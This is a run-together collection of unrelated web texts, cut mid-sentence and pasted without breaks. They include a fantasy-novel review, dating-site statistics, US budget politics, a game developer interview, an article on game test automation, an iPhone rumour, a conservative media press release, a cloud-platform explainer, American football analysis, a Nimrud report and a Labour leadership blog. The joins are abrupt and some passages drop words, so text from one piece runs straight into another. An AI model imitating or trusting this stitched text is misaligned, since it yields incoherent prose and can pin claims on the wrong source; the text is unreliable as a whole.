effect in the book simply need a reminder that this isand that the works of Ben Goldacre can be overapplied.) The media has presentedas formidably clever - to the chagrin of people who picked it up expecting some novelised- but the tone of everything I read between the covers is casual musings from bright non-specialists... it sounds like (and in some cases in the book) conversations with friends after which you might realise you got something slightly wrong. If, for instance, Eng lit, theology and biology academics are riffing semi-drunkenly about what they've read in popular science books on quantum physics, what's here sounds fine in that context. (If I was joining in the pickiness, I'd say that Lamarck was presented as entirely infra-dig, although epigenetics - a topic that had already found its way into BBC documentaries a couple of years beforewas published - has given a new slant on his ideas. But then I realised that wasn't necessarily the point or the spirit of the book.) However I would have liked to have seen a little more determined accuracy from the narrator in tone as well as content in some of her home subject areas - if you're a postgrad you need to do that alongside the flights of enthusiasm.But in the end the academic conversations are icing; you don't really need them to enjoy the rest of the book if you don't like them. The fantasy story is fine regardless - the chat and speculation is just how the characters look at their experience. Which I find more interesting than an unreflective adventure, though they do go on a bit sometimes.I may only have given it four stars due to its faults and moments of derivativeness but I really lovedas I love too few books as an end in themselves. (Often I don't understand what the rest of you are on about re. loving books generally... A couple of years ago, a remover said, seeing the book cases, "So you like reading then?" The first, silent, response that came into my head, "Not really, but what the bloody hell else am I supposed to do?"...Aloud, I made a vaguely affirmative non-verbal noise and started talking about cardboard boxes.) I was glad it was there when I couldn't sleep, I span it out so I could keep going back into its world - its plot analogy for addiction to an imaginary world actually applied - rather than trying to get it finished and ticked off. I'd have been delighted were it 1000 pages not 500, or if it was part of a series as long as Discworld.A dating site claims a significant portion of its straight users are actually messaging people of the same sex. That's more evidence that the way people identify themselves online doesn't necessarily describe what they do. In a press release, UK dating site FlirtFinder reports that 8% of its male users who list themselves as straight have messaged gay men on the site. And 7.6% of straight-identified female users have messaged lesbians. To his credit, FlirtFinder managing director Justin Battell notes that even straight-identified people could have same-sex attractions from time to time: "it may be that sexuality cannot be clearly defined as gay or straight and is much more of a spectrum." No shit. He also speculates that online dating might help people who aren't ready to come out dip a toe in the same-sex dating world: This type of dating platform allows users to get experimental without the risk of any potential embarrassment or rejection. If you're curious about your sexuality it's much easier to send someone a quick message online than pluck up the courage to meet with them face-to-face straight away. Mobile dating gives people a breed
jobs easier to find. The damage to the economy could last for months or years. Democrats in Congress and President Obama aren't willing to peer into that abyss or even walk up to the edge of it, so they've offered to sacrifice Social Security recipients and others dependent on federal programs — or barring that, to cut back on other programs on which millions of American individuals and businesses depend. As I write, the impasse continues and incompatible proposals for ending it keep flowing from both sides of the aisle. No entity can remain stable for long when it's run by an intransigent minority. Businesses almost always fail when they operate outside the norms of society or against their shareholders' interests, and autocracies get overthrown. (Though the process can take a looooong time.) In politics, this situation is not unique to Washington. Its close cousin exists in Sacramento, where an intransigent minority with an unbreakable veto has bollixed up budget planning for years. The cause of the California impasse is the rule requiring a two-thirds vote of both legislative chambers to pass a budget or raise state taxes — or to put it another way, the power of a one-third minority to block a budget. The rule governing the budget vote dated to 1933, and the supermajority on taxes to Proposition 13 in 1978. Can anyone argue that these two provisions, taken together, made the state better? Especially after a redistricting in 2001 turned the partisan characteristics of both parties into blocks of cement, California's budgets got worse and worse, more and more fakey, more and more brimful of bogus devises designed chiefly to allow each side to claim victories for its "principles." Thanks to the inability to raise revenues, the state's fiscal condition collapsed, as did the quality of life. So we have worse schools, universities of shrinking stature, fewer park and library hours and a more polarized politics than ever. California voters finally began to wake from their dream world in November, when they voted out the budgetary supermajority via Proposition 25. There are many good arguments against shutting the minority entirely out of political debate. The most obvious is that we live in a pluralistic society in which minorities have the right to participate, and in which their contributions can be beneficial. Gregory Koger, a University of Miami political scientist and author of a recent history of filibusters, observes that programs enacted via bipartisan votes — that is, with the minority with at least partial participation — are inherently more stable than those bulled through on party lines. These include the Bush tax cuts and the GOP Medicare prescription drug program of 2003, which were enacted with minimal Democratic support, and last year's healthcare reform, which passed without any GOP votes.Instead the coroner’s findings have confirmed that the fiery crash that took Edwards’ life was due to an unknown mechanical failure, and that there was nothing either the car’s driver or Edwards could have done to prevent it. “[The] crash was caused by an unknown mechanical failure,” deputy state coroner John Lock said. “[The brakes] totally failed.” Lock also recommended that motor racing’s regulatory bodies in Queensland work together with circuits to develop guidelines for driver coaching, and that all the findings be passed on to Porsche in case the carmaker wishes to investigate the incident internally. Edwards was the passenger in a Porsche 996 when it hit the wall and burst into flames during a driver training day back in 2013. The driver survived the crash but was severely injured.Share. How Relic' makes its games authentic. How Relic' makes its games authentic. When it comes to tackling World War II, Relic Entertainment strives to do it respectfully. The studio’s Company of Heroes franchise is a testament to this, with previous titles in the real-time strategy franchise presenting the battles, heroes and horrors of the Greatest War to players in ways that felt more lifelike -- and, consequently, more unsettling -- than many had come to expect. Of course, as a company whose goal is to create video games, Relic must make its titles fun -- something that can easily take away from the authenticity of the experience. How do they do it, then? How does a team that’s built a name making some of the most critically acclaimed and authentic strategy games take what they’ve learned from travelling around the world -- studying the weapons, mechanized monsters and battlefields where millions laid down their lives -- and apply it to the upcoming Company of Heroes 2? We interviewed Game Director Quinn Duffy to find out. Now we present Duffy's insight, alongside some of Relic’s photographs, sound design clips and videos they’ve used to inspire, create and shape the direction of Company of Heroes 2’s Eastern Front. Bread, Bullets and Battlefields When you're making a game about the Eastern Front, it's safe to say one of the best ways to get an understanding of it is to saturate yourself in it. To gain valuable insight into the Russian people of the past and the present, Relic did just that in March of 2011, when the team leaders traveled to Russia and Germany. "We went to St. Petersburg, the former Leningrad, and went to a number of battle sties in and around the city," Duffy detailed, with regular stops to museums so they could, "see and feel and get reference images of all the equipment" for the game. It didn't even take all that much effort to find what they needed in Russia since, as Duffy put it, "[the Russians] just went gangbusters on celebrating the Great Patriotic War." The Relic crew found ample material in an array of museums that cataloged everything from specific types of weapons to what Duffy refers to as "dark stories." In one instance Duffy and the Relic team got to see the food ration given to the people under siege at St. Petersburg, which he described as being "smaller than your computer mouse...125 grams of s*ty bread a day for non workers. A million people...a vast number of people starved." “ They went gangbusters celebrating the Great Patriotic War. That understanding of the darker side of the Eastern Front history was something Duffy felt the team really benefited from. "To be in Russia and then to go to Berlin again...It brings it to life," he said. Essentially, visiting the places where people died and became heroes brought it all home for the team, "We say, 'oh, 70 years ago,' but when you stick your finger in a bullet hole it doesn't feel that long ago. It brings it to life in a really dramatic way. That was hugely important trip for the leads team and for reinforcing the direction of the game." The Human Element The Company of Heroes franchise has always had much more believable infantry than most strategy titles, with soldiers who react to being shot at, scream when they're harmed and generally act like you might imagine soldiers did those 70 years ago. Like the previous games, Duffy said the goal in Company of Heroes 2 is to get across "real soldiers, real battlefields, real war. The team therefore added a lot of animations and contextual speech to "create this sense that these guys are really aware of their environment." Watching real combat footage, the team at Relic has seen the way panic affects soldiers, the way that people can become a bit confused, and they try to integrate that into their characters. Though Duffy does acknowledge that their characters have "a bit of that Hollywood" layered in since in real combat "you rarely see the enemy, guys aren't moving around a ton," and, "you don't have the sort of second-to-second type of reactions that you want in a game." The foundation for more realistic characters may have been in place from their previous games, but Relic really wanted to take the knowledge gained from traveling and reading memoirs from people involved in the war and instill, as Duffy says, the "fatalism" and "unbelievable bravery" of the Russian people. Duffy said this will come across in "their speech, their acknowledgements, their griping, their bitching," all of which the team wrote to set the tone for a people pushed to the brink. Duffy wants to get past the Russia we know from movies like Enemy at the Gates, so that "you start to see the reach character, that these guys were soldiers like any other soldier," who "faced the most unbelievable hardships." Exit Theatre Mode This philosophy and understanding of the Russian people has also played into the new mechanics for the Red Army. Duffy really, really didn't want "automagical blshit kinds of things going on" with how they functioned. The last Company of Heroes games gave you abilities to break suppression, for instance, where troops pinned down by machine gun fire could overcome their fear by pressing a button. This time around Duffy wants to avoid "the magical button," instead focusing on providing context for why soldiers are less likely to be suppressed. An example given was Soviet penal battalions, who had to fight until they either died or succeeded -- regardless of the situation. Contextually it would make sense why they're more likely to go through gun fire brazenly, as opposed to standard Russian infantry.Most video games don’t enjoy long-term technical support. After game is released it receives a few bugfix patches at best. Developers don’t deal with mistakes and bad decisions made, as new projects are often started from scratch. Recently the situation has begun to change, but are developers ready for it? With increasing popularity of Free-to-Play games, the rules have changed. F2P games are actually living services similar to an online banking service. Both require constant updates to meet customer demands, both suffer from similar problems: legacy, over-engineering, unmanageable code and yes flood of bugs coming with every update. I have seen F2P projects collapse purely due to technical issues introduced in later game updates. Automated testing is one of the techniques widely used to solve these kind of problems. Unfortunately the topic of test automation is not popular among game developers. Though some top game developers rise the issue, they mostly stay unheard. Fortunately our development team had some previous test automation experience with web applications. Apparently web automation is similar, but still quite different, to games. We faced three key challenges: Which tools will we use? Which parts of the project testing process should be automated? Who will be writing tests? Instead of making premature decisions we started experimenting with different variants, in this article I will explain what worked well and what didn’t. Unlike web development gamedev lacks good ready-to-use testing tools. You are totally out of luck when building an inhouse engine. Though Unity3D and UE4 recently introduced their own testing systems, I haven’t seen any projects successfully using those. The provided Unity tools didn’t fit our needs for several reasons. Mainly it didn’t allow us to drive long chains of UI interactions in a way similar to how a user would, so we decided to develop test automation framework ourselves, but it wasn’t clear at this point which approach should we take? Probably the first mistake often made is to record test actions performed by manual QA engineer and replay them during the automated run. Idea seems simple and effective, implementation is straightforward and it allows to reuse knowledge of current QA specialists. I know teams who started with this approach and once I was a part of one. Experience has shown that recorded tests can’t survive the system change. Logs, produced by recording software, are unmanageable and require to be re-recorded on every system update, thus making automated testing literally useless. Our decision was to write test code by hand. All we needed now is to choose the appropriate programming language suitable for the task. There are two approaches to take in language choice: whether we use platform native language (like Java for Android) or we go for engine native one (C# for Unity). While working on one of my previous projects built on JavaEE we had tests made with Ruby. At a time Ruby had a friendly WebDriver integration and we were excited about trying out something new and lightweight, comparing to enterprise horror. In the long run it didn’t work well as we basically had to duplicate most fundamental system parts like database mappings, network communication protocols, object models etc. This time we decided to reuse tools and programming languages between automation framework and game itself. So, our final decision was to make a DIY automation framework running in the same environment as our production code, which would allow to craft tests by hand using same tools and languages. For us those were: Unity3D C# (ancient.Net 2.0 API) Apache Thrift for network communication Custom UI solution Platforms: Android, iOS, Windows Desktop and Phone Inputs: touch screen, gamepad, accelerometer Honestly, it was a toughest nut to crack which I ever worked with. Which parts should be automated? We weighted popular approaches like System level and integration testing, they seemed good for manual QA and a useful addition for automation, though automated tests had to be different. We wanted our tests to be executed without any environment setup, this would allow us to execute more often, thus bringing more profit. We took the idea of Unit testing and extended it to UI and network protocols, we separated our application into logical layers to test them separatelly. Each test had to automatically setup a micro environment for the required layer before the action sequence execution. Below is a simplified diagram of our game architecture (basically any kind of game). Player Input/Output is made using game UI and scene objects (avatars, NPCs etc). Information is passed to controllers which process the data, probably give some feedback and use logical components to process game logic, calculate scores, give achievements and so on. Also some parts of the logic may be processed on the server side. UI tests isolate user interface with controllers by replacing logical components by mock objects. Unit tests are doing the same, but instead of using user interface they use program interface of logical components. This should be done both on front-end and server components. This kind of layer isolation largely simplifies the test creation and execution. It would be much harder to setup and maintain system level test automation as it would require a separate deployment of client, server, databases etc. We would get alot of false fails due to deployment desynchronization and network connection failures. To replace logical components with Mock objects we implemented a small lightweight dependency injection framework. We could not use any of the frameworks already available on the market (like NInject) because of outdated.Net API. Our own implementation took only about 150 lines of code and we didn’t have to deal with complex configurations. We thought about using NSubstitute for mocking, but we ended up just using plain OOP approach extending original classes and overriding methods. This worked well for us so we didnt introduce any complex mocking solution. For driving UI interface we had no choice but to make a custom driver as we are using custom in-house UI (actually several generations of legacy UI solutions, all non-compatible but interacting with each other, true horror story). Implementation took no more then 400 lines of code. Our DIY test automation framework was ready, but it still had to be integrated into development process. Who is writing tests? Again, we tried to organize test implementation in all sorts of ways. We made the test code to be as simple as possible, it had to look like a readable human language (same approach as many web automation frameworks take). We thought that eventually code will be simple enough for QA engineers to write tests by themselves. QA team had no problems reading test code and writing some simple actions like pressing buttons and validating screen states, but when it came to mocking and test environment setup it became clear that they require some more solid programming skills. Then we hired a dedicated automation engineer to help QA. It had to be a programmer with good understanding of testing team needs and knowledge of system internal structure. It came out that without taking part in building the system it was hard to get all the details and issues system had. Without this knowledge automation quality was mediocre. Finally we decided that it would be better for automation engineer to join the programmers team. The responsibility for test implementation fully moved to the developers hands. Every team member had to write and support automated tests. Fortunately we had everything ready for this, we had a single code base simplifying refactoring and in-house tools which are easy to maintain. Test execution We solved most important issues for test implementation, now tests had to be executed to make any kind of benefit. Jenkins We are executing full set of tests before every build as a part of continuous integration process. This came out to be the most effective, as most bugs found by tests are revealed at this point. Special key execution All builds of our game whether development or production configuration contain a set of tests ready to be executed. If application is executed with a special key, it starts the test sequence instead of the game. This allows us to validate any build even if it was downloaded from the appstore. Cthulhu We setup a separate machine which would periodically download builds for different platforms and execute them on the connected devices. It got its name from its looks, as it really look like a squid with all the devices connected. Unfortunately this setup was very hard to maintain. As new build platforms were added it became clear that there is no simple way to install development application to Android, iOS and WP from the single system. Constant heavy load caused device batteries wear, and eventually some devices could not complete the test cycle on the single charge. Conclusion Test automation becomes a must-have part of game development process. Developers should not be afraid of it and I am happy to see many teams adapting the technique. In this article I wanted to share our success story of adaptation. Story was not straight-forward, we made a few turns and met some dead ends on the way. So in the end our way is: Fully DIY implementation of the automation framework proved to be flexible, easier to configure and maintain comparing to ready-to-go solutions (about 600 lines of code) Unit-test inspired approach of logic layer separation and component mocking Test automation development as a part of the product code by the same team of developers. We open-sourced code of our automation solution, so other projects could benefit from our findings easier: Github, Asset store - Unity UI Test Automation Framework. Contains UI test driver, dependency injection, mocking solutions and examples. Github - Cthulhu, test execution server. Checkout our official blog for the story from the QA team point of view: Squashing Bugs.One complaint commonly leveled against the iPhone is that it can't run multiple apps at the same time. However, sources for AppleInsider say that Apple is finally planning to incorporate a task manager that will integrate with the established iPhone user interface in the next major revision of iPhone OS, expected to be available this summer. Like Mac OS X on which it is based, iPhone OS is fully capable of running multiple processes at once. In fact, it does run multiple processes—iPod, Mail, voicemail and phone processes continually run in the background. What it doesn't do is run multiple third-party apps at the same time. Want to listen to Pandora while answering e-mails? Run a GPS tracking app while checking your tweets? Sorry, no can do. Apple has given a number of reasons for enforcing this limitation. The company claims that multiple apps running simultaneously will run down the battery faster, or could lead to more out-of-memory errors as apps contend for the constrained resources of the iPhone. Also, since non-Apple apps can't run in the background, there's virtually zero chance that malware could run without a user noticing. Finally, limiting the iPhone to one app at a time keeps things simple enough for even the most tech-averse users to understand how it works. However, the latest rumor says that Apple has a "full-on solution" to the problem coming in iPhone OS 4.0. No specifics were revealed, so there are no details about how Apple has implemented managing multiple running apps. Remember, it took three major versions of iPhone OS before there was system-wide cut-copy-paste functionality, and the interface ended up working extremely well. We expect Apple has likewise put extensive work into making running multiple apps as straightforward as possible while still offering reasonable levels of stability, battery life, security, and ease of use.Here is their press release: “We have partnered with the best thinkers and storytellers out there and given each the resources to design their own show in their own voice on their own custom set reflective of each of their personalities” according to Chris Crane, Chief Content Officer. “When CRTV officially launches in December 2016, subscribers will be able to access new and original shows in development from Michelle Malkin and Mark Steyn, joining Mark Levin’s highly successful Levin TV®.” LAS VEGAS (October 24, 2016) – Media company CRTV® has announced the formation of a new digital network uniquely rich with honest and informative conservative content seen nowhere else in any medium anywhere. CRTV brings together top thought-provoking personalities Mark Levin, Michelle Malkin and Mark Steyn who will share their knowledge, insightful and powerful ideas, stories and entertainment that cannot be found anywhere on television. “With the huge success of LevinTV launched earlier this year, we decided to accelerate plans. We know people have rejected liberal media bias and there is an enormous demand for straight, bold, conservative talk and they will get it here from a wide variety of talent. This is much bigger than any of us. It is about our beloved audience.” said Mark Levin. “This is a movement with millions of liberty lovers who know cable TV content doesn’t square with their world-view. Proudly conservative in content, CRTV will allow popular personalities, presenting scholarly thought, culture to comedy, the liberty to be themselves. And, viewers will have the freedom to consume straightforward, candid, unfiltered, commercial-free, content whenever and wherever they want.” Best-selling author, syndicated columnist, and social media pioneer, Michelle Malkin, will bring CRTV subscribers a groundbreaking investigative program: Michelle Malkin Investigates. Michelle’s exclusive, on-the-ground investigative reporting of stories ignored by the “mainstream media” will only be on CRTV. “I’m excited to join CRTV—soon to be a leader in the digital media world. We plan to deliver news-breaking, substantive content to an underserved audience” said Michelle Malkin. “After years of digging deep for the truth and uncovering hidden scandals, I look forward to my over 2 million social media followers being able to watch my original show direct and unfiltered.” Mark Steyn is an international bestselling author, a Top Five jazz recording artist, and a leading Canadian human rights activist. He is also a popular guest host of The Rush Limbaugh Show. Mark’s writing on politics, arts and culture has been published in almost every major newspaper around the English-speaking world and he has entertained sold-out crowds from the American Midwest to the Australian Outback. The Mark Steyn Show harks back to when television was worth watching with real content, real guests, and real intellectual debate. Steyn said, “In this day and age of news lacking substance and entertainment lacking style, I’m honored to join two of my favorite writers Mark Levin and Michelle Malkin at CRTV where the content always come first.” How to Watch CRTV launches in December and can be accessed on any digital or mobile device. Enjoy an entire year of CRTV for $99, available directly to you, commercial free, to watch when and what you want, where and when you want it. Save $10 by subscribing before December launch, with a yearly subscription of $89. Monthly subscriptions are $12. Current LevinTV subscribers will receive a free upgrade to a CRTV subscription until their next renewal date. About CRTV CRTV is your source for the most thought-provoking personalities and conservative ideas that are not available from traditional media outlets. CRTV has developed a new style in producing compelling content with stunning production quality and unique broadcast sets built to capture the individual personality and passion of each program. CRTV is developing the best programming – advocating freedom and liberty – that is delivered directly to viewers – when and where they want it. For more information, visit www.CRTV.com.Bloomberg Dave Morin, co-founder and chief executive officer of Path Path, a more intimate social-networking app that’s like a personal journal, is now growing by 1 million registered users a week after its most recent launch. The newest version of Path includes a way to message your friends — for which Path limits to 150 — and send them stylized stickers like other top messaging apps. Around half of Path’s registered users (now at 9 million) are regularly using the app on a monthly basis, CEO Dave Morin said. Most of the growth is now occurring in English-speaking parts of the population after seeing significant growth in Central and South America — particularly among Spanish-speaking populations — he said. He said the growth started with Venezuela, where Path added around 500,000 users in a weekend, and then spread up through Central America, Mexico and the Caribbean before reaching Spanish speakers in the U.S. Now, Path is among the top apps on the App Store, and has shown some significant staying power, according to AppData. Another point worth noting is that Path is starting to creep up on the top-grossing charts. Path sells packages of stickers and filters, and while Morin wouldn’t comment on how much the company is making, he said it’s “doing quite well, better than we expected.” We caught up with Morin to find out more about Path’s coming changes. Here’s an edited transcript of the conversation.From the legendary Tank Girl to live-action animations with Gorillaz, a Chinese contemporary opera to an exhibition at the Saatchi Gallery, artist Jamie Hewlett is one of the most energetic figures of contemporary pop culture. With influences ranging from hip hop to zombie slasher movies, Hewlett emerged in the mid-1990s as co-creator of the zeitgeist-defining Tank Girl comic. With then-roommate Damon Albarn, he went on to create the unique cartoon band Gorillaz, a virtual pop group of animated characters, who have recorded five albums and mounted breathtaking live spectacles. Since then, Hewlett has continued to collaborate with Albarn on projects including an elaborate staging of the Chinese novel Monkey: Journey to the West by Wu Cheng’en, complete with circus acrobats, Shaolin monks, and Chinese singers. In 2006, he was named “Designer of the Year” by the Design Museum in London, and in 2009, Hewlett and Albarn won a BAFTA for their animated Monkey sequence for the Beijing Olympic Games. More recently, The Suggestionists, an exhibition of prints at the Saatchi Gallery in London, demonstrated an exciting new direction in Hewlett’s practice. This TASCHEN edition, Hewlett’s first major monograph, illustrates his thrilling creative journey with more than 400 artworks from the Tank Girl era through Gorillaz and up to the present day. Through stories, characters, strips, and sketches, we trace Hewlett’s exceptional capacity for invention and celebrate a polymath artist who refuses to rest on his laurels, or to be pigeonholed into a particular practice. Sold out after just two weeks, this second edition features a brand new cover.Jelastic Complex Organism in Simple Words Jelastic is a software platform for developers offered as a public, private, hybrid or multi-cloud on infrastructure of hosting providers worldwide or on-premise. Being fully focused on the customers’ needs, Jelastic consolidated PaaS, CaaS, Docker containers orchestrator and Elastic VPS offerings in one cloud product with a single management panel. So today we’d like to describe how this complex organism is built to make the development and application management easy and smooth. Cloudlet The smallest Jelastic component is the cloudlet. It is a special resource unit that equals to 128 MiB of RAM and 400 MHz of CPU power simultaneously. Such high granularity of resources allows the system to allocate the exactly required capacity for each instance in the environment. This ensures the truly fair usage-based pricing so you pay only for really consumed resources. There are two types of cloudlet at Jelastic: Reserved Cloudlets are fixed amount of resources reserved in advance and charged irrespective of your actual usage. This is a common pricing model offered by the most cloud vendors where you pay for the defined limits. Dynamic Cloudlets are added and removed automatically according to the amount of resources that is required by your application in a particular moment of time (assigned when load goes up and removed as soon as it drops down). As a result, you pay based on your actual resource usage within the scaling limit. When calculating your cloudlet usage, the system only considers the larger of RAM or CPU usage each hour (not both combined). E.g. if during one hour your average CPU usage is 2400 MHz (6 cloudlets), and your peak RAM usage is 1024 MiB (8 cloudlets), you pay for 8 cloudlets – not the combined total (14 cloudlets). Reserved cloudlets are cheaper than dynamic and recommended to be used when the application load is permanent. At the same time, dynamic cloudlets save money with its usage-based charging model for the applications with variable load or the load that cannot be predicted in advance. Both cloudlets provide auto discounts for the usage volume – the more you use, the cheaper is the base price. Container Container is an isolated virtualized instance (server) provisioned for the software stacks (like application servers, databases, load balancers etc.) and placed on a particular hardware node. Jelastic can support several containers on a single physical server by using operating system-level virtualization. The platform provides certified containers for Java, PHP, Ruby, Node.js, Python and.NET and the ability to deploy custom Docker containers. Each container has its own private IP and unique DNS record. Public IP can be easily attached within UI dashboard or via API. Jelastic is famous for its ability to automatically scale any container, both vertically and horizontally, making hosting of applications truly flexible. This simplifies the scaling of microservices, as well as eliminates the need of architectural changes while scaling legacy applications. Layer (Node Group) Jelastic layer is a group of similar containers in a single environment. There is a set of predefined layers within Jelastic topology wizard for certified containers such as Balancing, Application Servers (compute nodes), SQL and NoSQL Databases, Cache, Storage, Build Nodes and VPS. Custom layers can be added for Docker-based environments. The layers are designed to perform different actions with the same type of containers at once. For example, the nodes can be simultaneously restarted or redeployed, as well as horizontally scaled via UI, API, CLI or based on the load triggers. Also, you can check the common logs and stats, or make the required configurations via file manager for all containers in a layer. In addition, the containers of one layer are distributed across different hardware servers using anti-affinity rules, ensuring even more reliability and high-availability for hosted applications. Environment Environment is a collection of isolated containers with specific software stacks that are responsible for running particular services of an application. Jelastic provides built-in tools for environment configuration, monitoring and troubleshooting. There is a number of actions that can be performed on the whole environment such as stop, start, clone, migrate to another hardware region or even another data center, share with team members for collaborative work, track resource consumption and so on. Each environment has its own internal 3rd level domain name by default. A custom external domain can be easily bound via CNAME or A record and further swapped among environments for traffic redirection. Application Application is a combination of environments for running one project. A simple application with one or two stacks can be run inside one environment. And applications with more complex topologies usually require more flexibility during deploy or update processes, so it is better to distribute their stacks across several environments to be able to maintain them independently. Application source code or built binaries can be deployed and automatically updated using GIT/SVN, uploaded as local files (zip, war, ear, etc) via UI dashboard or FTP, or deployed as a part of custom Docker containers. A set of already prepackaged applications are offered within Jelastic Marketplace. Hardware Node Hardware nodes are physical servers or big virtual machines (virtualized via KVM, ESXi, Hyper-V, etc.) of two types: Infrastructure Node User Node Infrastructure Node (orchestrator) is a set of internal components for managing resources and containers templates, processing user requests, monitoring and supporting Jelastic cluster installation. User Nodes are sliced into small isolated containers that are used for the environments. This slicing provides the industry-leading multitenancy, as well as high density and smart resource utilization with the help of containers distribution according to the load across hardware nodes. In case of hardware maintenance specific or all containers can be migrated to another physical server in a live mode without downtime of end users applications. Hardware Region Hardware region is a set of user nodes with one type of hardware in isolated network. Each hardware region has its own capacity in a specific data centre, predefined pool of private and public IP addresses and corresponding resource price. The capacity of a region can be easily extended by adding more hardware nodes. A region can be shared among many users as a Public Cloud or dedicated to a specific customer as a Virtual Private Cloud. Cluster Jelastic cluster is a group of hardware regions and orchestrator that act like a single system by providing the ability to develop, deploy, test, run, debug and maintain hosted applications in the cloud. A single cluster can aggregate various types of hardware regions from different locations. As a result, end users get a multi data center or even multi cloud solution for running their applications within one panel. Each cluster is maintained by a separate hosting service provider with its local support team. Cloud Union Jelastic has a unique business model of distributing its cloud product through hosting providers worldwide. So there is a rich choice of Jelastic cloud vendors regulated by local government and laws. In other words, our hosting partners speak your language and understand your specific needs. Jelastic Cloud Union already includes 46 data centres available in 29 countries (more than offered by cloud giants). This partner community provides the freedom of choice while hosting your application with no vendor lock-in and no compromise on data centre location, support level, performance or pricing. Now when you know the structure of Jelastic organism, it`s a high time to try how it works! Just choose the preferred hosting provider and start your cloud journey.In an organization that is rarely transparent, Vic Fangio’s candor is refreshing. “They weren’t built for anything,” the Bears defensive coordinator said this week about the defense he inherited when he took the job in January of 2015. Fangio was answering a question about his frustration regarding the length of time it has taken to turn around the Bears defense. Keep in mind that Fangio inherited one of the worst defenses in franchise history — one that lacked an identity, and as Fangio discovered, even a scheme. “I think the scheme thing is overblown because you’re playing a lot of nickel right now and the group we inherited wasn’t built for the 4-3 either, obviously, by the two years they had prior to us getting here,” Fangio said. “So they weren’t built for anything. We had to start at ground zero.” This is not breaking news to anyone who witnessed Mel Tucker’s 2013 and 2014 Bears defenses, which couldn’t rush the passer, couldn’t cover, couldn’t stop the run and couldn’t take the ball away. Technically, it was a 4-3 defense, but the scheme doesn’t really matter if the players within the scheme can’t play. That’s the reality Fangio faced when he got here, but one he likely didn’t realize until well into his first year on the job after he was able to self-scout what was left on the roster. “I think there’s only one or two guys that we inherited still playing on defense,” he said. “And I think those are mainly backups. So there’s been a big transition.” Indeed, Willie Young is the only active defensive player from the Phil Emery era who still has a significant role in Vic Fangio’s defense. Defensive end Cornelius Washington and linebacker Christian Jones count as holdovers who have stuck as backups, and technically Sherrick McManis and Demontre Hurst are on the defensive depth chart, but they are primarily special teamers. What Fangio, head coach John Fox and general manager Ryan Pace must have hoped was that they at least had something with cornerback Kyle Fuller and defensive linemen Ego Ferguson and Will Sutton, who were the first three picks from the 2014 draft class, selected just nine months before their arrival at Halas Hall. Fast forward two seasons, and those three players have accounted for just six starts in 2016, with Fuller and Ferguson spending the entire year on injured reserve so far (Fuller could still return for these final three games). So excuse Fangio for being brutally honest about what he inherited in Chicago. Fox and Pace undoubtedly feel the same way, they just aren’t as open about it publicly. “I think I did a count the other day, even counting on IR, we have 18 guys still remaining on the team that were originally here when we got here two years ago,” Fox said. “Right, wrong or indifferent, that’s the facts and it puts a little more burden when you’re training new people — even with injuries — but it’s part of the game. Everybody deals with it.” But not every team deals with it to this extent. Despite two solid draft classes under this regime, the Bears’ depth already looked thin coming into the regular season and with 16 players currently on injured reserve — including three of the organization’s last four first round draft picks — it really should not be surprise that the Bears only have three wins. Which is why recent reports about Fangio potentially moving on or a shakeup in the front office are particularly confusing. Despite the 3-10 record, there are noticeable signs of progress and the early returns on Pace’s first two draft classes are more positive than anything this organization has seen in over a decade. “Everybody looks at the record. Everybody does. We do, too,” Fox said. “Obviously, that’s very disappointing. But some of the progress we’ve made, some of the people that study the game, look at it and can see, statistically, quite a bit of growth. Again, we’re not at the point where the statistic in the win-loss record is where we would like it and expect it to be. But you do see progress.” This progress seems to be much more evident on the defensive side of the football, where Fangio’s unit currently ranks eighth in the league allowing just 5.1 yards per play. This is much improved from 2015 when the Bears ranked 25th with 5.7 yards per play and 2014 when the Bears ranked 30th with 6.0 yards per play. Thus, it is imperative the Bears do everything in their power to keep Fangio around in 2017. If some kind of rift exists between he and Fox, as has been reported, Pace’s top priority right now should be fixing that divide and ensuring he doesn’t have more rebuilding to do by finding a new defensive coordinator. But while the defensive improvement has been more obvious, Fox insists his offense has made strides in 2016 as well. “Really, on the offensive side of the ball, I know the explosive plays sometimes, we haven’t converted that to points as much. But
of the city that was once the capital of an Assyrian empire stretching from Egypt to parts of modern-day Iran and Turkey. Nimrud was bulldozed last year as part of Islamic State’s campaign to destroy symbols the Sunni Muslim zealots consider idolatrous, says the Iraqi government. Activists, officials and historians condemned Isis at the time for the destruction of the ancient Assyrian archaeological site, while Unesco described the act as a war crime. Isis video shows destruction of ancient Assyrian city in Iraq Read more Video footage released by Isis, purportedly from Nimrud, also showed its fighters destroying relics with electric drills and explosives. Nimrud lies on the eastern bank of the Tigris river, about 20 miles south of Mosul, where Iraqi soldiers and special forces are battling Islamic State for control of the largest city under the jihadis’ control in Iraq and neighbouring Syria. Nimrud was first excavated in the 1840s by the British explorer Austen Henry Layard, who unearthed the winged bull gatekeeper statues later sent to the British Museum. The site also contains the palace of Ashurnasirpal, the king of Assyria. Many of the site’s relics are in the British Museum and the Metropolitan Museum in New York, and other reliefs, wall paintings, clay tablets and ivory furniture recovered in the 1950s and 60s are in Iraq’s national museum in Baghdad. Speaking to the Guardian last year following the destruction of the ancient site, historian Tom Holland said the act was “a crime against Assyria, against Iraq, and against humanity. Destroy the past, and you control the future. The Nazis knew this, and the Khmer Rouge – and the Islamic State clearly understand it too.” David Vergili, a member of the European Syriac Union, said Isis had done “tremendous damage to the social fabric of the Middle East”. He added: “Preserving cultural and historical heritage in Iraq and elsewhere should be a concern for the whole civilised world as the birthplace and epicentre of our civilisation.”I am already depressed by the Labour Party's leadership election. I should declare an interest: I could vote, I think, as I am a member of Unite. I have no idea if I will do so. That's because, so far, all the candidates appear to be offering the same analysis, and none of them come remotely near what is required, in my opinion.This is not because they are not competent: I am sure that in their own way they are. But they are not, in my opinion, competent to offer the choice that is required by the Labour Party. That is because what all have to offer is managerialism. I will not actually rely on the candidates to illustrate the point. Andrew Rawnsley did it quite well in the Observer, saying: There are already emerging divisions. Between left and right, younger generation and the old guard, northern and southern, those who think the imperative is to reconnect with lost working-class voters and those who emphasise the party’s inability to appeal to the middle classes. More important than any of those divides is the split between those who seek refuge from their grief in superficial explanations for this defeat and those who understand that they must think hard about the existential challenge that now confronts the party. Rawnsley, astute but certainly not unbiased, observer that he is has accurately reflected that this election is going to be about form, and not substance. No wonder Len McCluskey is not happy. The debate is already about presentation, triangulation and message management. What seems to have been forgotten is the message. Rawnsley is right that Labour faces an existential challenge but he appears to be quite unable to spot what it is. He suggests that the crisis it faces comes down to: Labour never found a good answer to the charge that it overspent when it was in government. Five years on, the contenders for the leadership are still being asked a question that should have been dealt with in 2010. He's right, but only to a limited degree. The extent to which he's right is that because people believe this all the 